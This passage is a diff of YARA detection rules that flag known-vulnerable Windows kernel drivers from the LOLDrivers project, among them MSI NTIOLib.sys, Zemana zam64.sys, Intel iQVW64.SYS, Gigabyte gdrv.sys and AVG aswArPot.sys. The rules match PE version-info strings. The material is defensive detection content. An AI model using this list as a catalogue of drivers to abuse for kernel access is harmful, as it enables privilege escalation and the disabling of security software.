+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f00360034002e0073007900730020 } /* OriginalFilename rtkiosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_98B7 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "98b734dda78c16ebcaa4afeb31007926542b63b2f163b2f733fa0d00dbb344d8"
+		date = "2023-06-14"
+		score = 40
+		id = "f827cf5e-23c7-5db8-9949-14382788bbdd"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f0072002000440065006200750067004c00450044 } /* FileDescription NTIOLibforDebugLED */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100330020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_9A95 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9a95a70f68144980f2d684e96c79bdc93ebca1587f46afae6962478631e85d0c"
+		date = "2023-06-14"
+		score = 40
+		id = "de7c3f85-1101-58c2-882b-e7e59d95fdd8"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310036002e003200380037 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_19BF {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - iQVW64.SYS"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "19bf0d0f55d2ad33ef2d105520bde8fb4286f00e9d7a721e3c9587b9408a0775"
+		date = "2023-06-14"
+		score = 40
+		id = "4e733353-21f8-5a32-b735-fccd3ffba831"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0034 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003100200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Zemanaltd_Zam_2BBC {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - zam64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2bbc6b9dd5e6d0327250b32305be20c89b19b56d33a096522ee33f22d8c82ff1"
+		date = "2023-06-14"
+		score = 40
+		id = "171ebc5a-3e8a-5771-8960-b623f6581759"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005a0041004d } /* FileDescription ZAM */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005a0065006d0061006e00610020004c00740064002e } /* CompanyName ZemanaLtd */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0032002e00310038002e003300370031 } /* ProductVersion  */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005a0041004d } /* ProductName ZAM */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]005a0065006d0061006e00610020004c00740064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright ZemanaLtdAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 200KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Logitechinc_Lvavsys_Logitechwebcamsoftware_E86C {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - Lv561av.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "e86cb77de7b6a8025f9a546f6c45d135f471e664963cf70b381bee2dfd0fdef4"
+		date = "2023-06-14"
+		score = 40
+		id = "3402e3fc-82be-577d-a297-fcae7539bcfc"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004c006f00670069007400650063006800200056006900640065006f0020004400720069007600650072 } /* FileDescription LogitechVideoDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004c006f00670069007400650063006800200049006e0063002e } /* CompanyName LogitechInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310032002e00300030002e0031003200370038002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004c007600350036003100610076002e007300790073 } /* InternalName Lvavsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004c006f006700690074006500630068002000570065006200630061006d00200053006f006600740077006100720065 } /* ProductName LogitechWebcamSoftware */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004c007600350036003100610076002e007300790073 } /* OriginalFilename Lvavsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280063002900200031003900390036002d00320030003000390020004c006f006700690074006500630068002e002000200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright cLogitechAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 600KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Hpinc_Hpportioxsys_Hpportio_C505 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - HpPortIox64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "c5050a2017490fff7aa53c73755982b339ddb0fd7cef2cde32c81bc9834331c5"
+		date = "2023-06-14"
+		score = 40
+		id = "2fb75598-3743-50c5-b9cf-d0e928f0c57c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004800700050006f007200740049006f } /* FileDescription HpPortIo */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0048005000200049006e0063002e } /* CompanyName HPInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0032002e0030002e0039 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 } /* InternalName HpPortIoxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004800700050006f007200740049006f } /* ProductName HpPortIo */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004800700050006f007200740049006f007800360034002e007300790073 } /* OriginalFilename HpPortIoxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002d003200300032003100200048005000200049006e0063002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCHPIncAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_AB8F {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkio64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89"
+		date = "2023-06-14"
+		score = 40
+		id = "fd0941e8-747f-5337-aaf2-f819e32b8884"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300039002e0030003700300039002e0032003000320030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 } /* InternalName rtkiowxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 } /* OriginalFilename rtkiowxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003200300020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpot_Avginternetsecuritysystem_2CE8 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "2ce81759bfa236913bbbb9b2cbc093140b099486fd002910b18e2c6e31fdc4f1"
+		date = "2023-06-14"
+		score = 40
+		id = "e7cfd1c7-bd56-5fb1-8e6a-bc49b67b7c2c"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200041006e0074006900200052006f006f0074006b00690074 } /* FileDescription AVGAntiRootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00320030002e00310030002e003100370031002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074 } /* InternalName aswArPot */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000320030002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Msi_Ntiolibsys_Ntiolib_9254 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NTIOLib.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "9254f012009d55f555418ff85f7d93b184ab7cb0e37aecdfdab62cfe94dea96b"
+		date = "2023-06-14"
+		score = 40
+		id = "ac7837d9-055e-502d-a497-fe96b0aa701d"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00540049004f004c0069006200200066006f00720020004d00530049004400440052005f00430043 } /* FileDescription NTIOLibforMSIDDRCC */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d00530049 } /* CompanyName MSI */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* InternalName NTIOLibsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00540049004f004c00690062 } /* ProductName NTIOLib */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00540049004f004c00690062002e007300790073 } /* OriginalFilename NTIOLibsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300038002d00320030003000390020004d00530049002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCMSIAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Intelcorporation_Iqvwsys_Intelriqvwsys_4429 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NalDrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "4429f32db1cc70567919d7d47b844a91cf1329a6cd116f582305f3b7b60cd60b"
+		hash = "a59c40e7470b7003e8adfee37c77606663e78d7e3f2ebb8d60910af19924d8df"
+		date = "2023-06-14"
+		score = 40
+		id = "0ffa7a9b-5174-53df-a332-e8b9e460eb1b"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0049006e00740065006c0028005200290020004e006500740077006f0072006b0020004100640061007000740065007200200044006900610067006e006f00730074006900630020004400720069007600650072 } /* FileDescription IntelRNetworkAdapterDiagnosticDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0049006e00740065006c00200043006f00720070006f0072006100740069006f006e0020 } /* CompanyName IntelCorporation */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300033002e0030002e00370020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion builtbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300033002e0030002e0037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* InternalName iQVWSYS */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0049006e00740065006c0028005200290020006900510056005700360034002e005300590053 } /* ProductName IntelRiQVWSYS */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006900510056005700360034002e005300590053 } /* OriginalFilename iQVWSYS */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000300032002d003200300031003300200049006e00740065006c00200043006f00720070006f0072006100740069006f006e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e } /* LegalCopyright CopyrightCIntelCorporationAllRightsReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Realtek_Rtkiowxsys_Realtekiodriver_32E1 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - rtkiow10x64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "32e1a8513eee746d17eb5402fb9d8ff9507fb6e1238e7ff06f7a5c50ff3df993"
+		date = "2023-06-14"
+		score = 40
+		id = "52d07201-6af3-5675-a5f0-9b6a7bb39b28"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005200650061006c00740065006b00200049004f0020004400720069007600650072 } /* FileDescription RealtekIODriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005200650061006c00740065006b00200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* CompanyName Realtek */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e003000300038002e0030003800320033002e0032003000310037 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 } /* InternalName rtkiowxsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005200650061006c00740065006b00200049004f00200044007200690076006500720020002000200020002000200020002000200020002000200020002000200020002000200020002000200020 } /* ProductName RealtekIODriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00720074006b0069006f007700310030007800360034002e0073007900730020 } /* OriginalFilename rtkiowxsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800430029002000320030003100370020005200650061006c00740065006b002000530065006d00690063006f006e0064007500630074006f007200200043006f00720070006f0072006100740069006f006e002e00200041006c006c002000520069006700680074002000520065007300650072007600650064002e002000200020002000200020002000200020002000200020 } /* LegalCopyright CopyrightCRealtekSemiconductorCorporationAllRightReserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Micsystechnologycoltd_Msiosys_Msiodriverversion_X_43BA {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - MsIo64.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "43ba8d96d5e8e54cab59d82d495eeca730eeb16e4743ed134cdd495c51a4fc89"
+		date = "2023-06-14"
+		score = 40
+		id = "6db1af54-b12d-5213-b184-7df7f628882e"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004d004900430053005900530020006400720069007600650072 } /* FileDescription MICSYSdriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004d0049004300530059005300200054006500630068006e006f006c006f0067007900200043006f002e002c0020004c00540064 } /* CompanyName MICSYSTechnologyCoLTd */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e003100200078003600340020006200750069006c0074002000620079003a002000570069006e00440044004b } /* FileVersion xbuiltbyWinDDK */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00310020007800360034 } /* ProductVersion x */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* InternalName MsIosys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004d00730049006f003600340020004400720069007600650072002000560065007200730069006f006e00200031002e0031 } /* ProductName MsIoDriverVersion */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004d00730049006f00360034002e007300790073 } /* OriginalFilename MsIosys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f00700079007200690067006800740020002800630029002000320030003100390020004d00490043005300590053 } /* LegalCopyright CopyrightcMICSYS */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Avgtechnologiesczsro_Aswarpotsys_Avginternetsecuritysystem_1078 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - aswArPot.sys, avgArPot.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "1078af0c70e03ac17c7b8aa5ee03593f5decfef2f536716646a4ded1e98c153c"
+		date = "2023-06-14"
+		score = 40
+		id = "30ef7f0d-e6f4-5a98-87c2-286ac64c3886"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00410056004700200061006e0074006900200072006f006f0074006b00690074 } /* FileDescription AVGantirootkit */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* CompanyName AVGTechnologiesCZsro */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310039002e0033002e0034003200330039002e0030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* InternalName aswArPotsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00410056004700200049006e007400650072006e00650074002000530065006300750072006900740079002000530079007300740065006d0020 } /* ProductName AVGInternetSecuritySystem */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006100730077004100720050006f0074002e007300790073 } /* OriginalFilename aswArPotsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310039002000410056004700200054006500630068006e006f006c006f006700690065007300200043005a002c00200073002e0072002e006f002e } /* LegalCopyright CopyrightCAVGTechnologiesCZsro */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Gigabytetechnologycoltd_Gdrvsys_Gigabytesoftwaredriver_26C2 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - gdrv.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "26c28746e947389856543837aa59a5b1f4697e5721a04d00aa28151a2659b097"
+		date = "2023-06-14"
+		score = 40
+		id = "dba48ad5-9b35-555e-814e-73b74f157b66"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0047004900470041002d00420059005400450020004e006f006e0050006e00500020004400720069007600650072 } /* FileDescription GIGABYTENonPnPDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0047004900470041002d004200590054004500200054004500430048004e004f004c004f0047005900200043004f002e002c0020004c00540044002e } /* CompanyName GIGABYTETECHNOLOGYCOLTD */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0030002e0035 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0030002e0031 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0067006400720076002e007300790073 } /* InternalName gdrvsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0047004900470041002d004200590054004500200053006f0066007400770061007200650020006400720069007600650072 } /* ProductName GIGABYTESoftwaredriver */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0067006400720076002e007300790073 } /* OriginalFilename gdrvsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000280043002900200032003000310037 } /* LegalCopyright CopyrightC */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 100KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Trendmicroinc_Tmcommsys_Trendmicroeyes_CC68 {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - TmComm.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "cc687fe3741bbde1dd142eac0ef59fd1d4457daee43cdde23bb162ef28d04e64"
+		date = "2023-06-14"
+		score = 40
+		id = "14971376-05dc-59c2-bce7-498eabb52678"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005400720065006e0064004d006900630072006f00200043006f006d006d006f006e0020004d006f00640075006c0065 } /* FileDescription TrendMicroCommonModule */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200049006e0063002e } /* CompanyName TrendMicroInc */
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0037002e00330030002e0030002e0031003000390039 } /* FileVersion  */
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0037002e00330030 } /* ProductVersion  */
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* InternalName TmCommsys */
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005400720065006e00640020004d006900630072006f00200045007900650073 } /* ProductName TrendMicroEyes */
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0054006d0043006f006d006d002e007300790073 } /* OriginalFilename TmCommsys */
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000200028004300290020002000320030003100380020005400720065006e00640020004d006900630072006f00200049006e0063006f00720070006f00720061007400650064002e00200041006c006c0020007200690067006800740073002000720065007300650072007600650064002e } /* LegalCopyright CopyrightCTrendMicroIncorporatedAllrightsreserved */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and all of them
+}
+
+
+rule PUA_VULN_Driver_Windowsrcodenamelonghornddkprovider_Cpudriver_Windowsrcodenamelonghornddkdriver_159E {
+	meta:
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - WCPU.sys"
+		author = "Florian Roth"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		hash = "159e7c5a12157af92e0d14a0d3ea116f91c09e21a9831486e6dc592c93c10980"
+		date = "2023-06-14"
+		score = 40
+		id = "4ca1b53c-7539-5e0e-8309-224a4a859480"
+	strings:
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0041005300550053002000540044004500200043005000550020004400720069007600650072 } /* FileDescription ASUSTDECPUDriver */
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]00570069006e0064006f00770073002000280052002900200043006f00640065006e0061006d00650020004c006f006e00670068006f0072006e002000440044004b002000700072006f00760069006400650072 } /* CompanyName WindowsRCodenameLonghornDDKprovider */
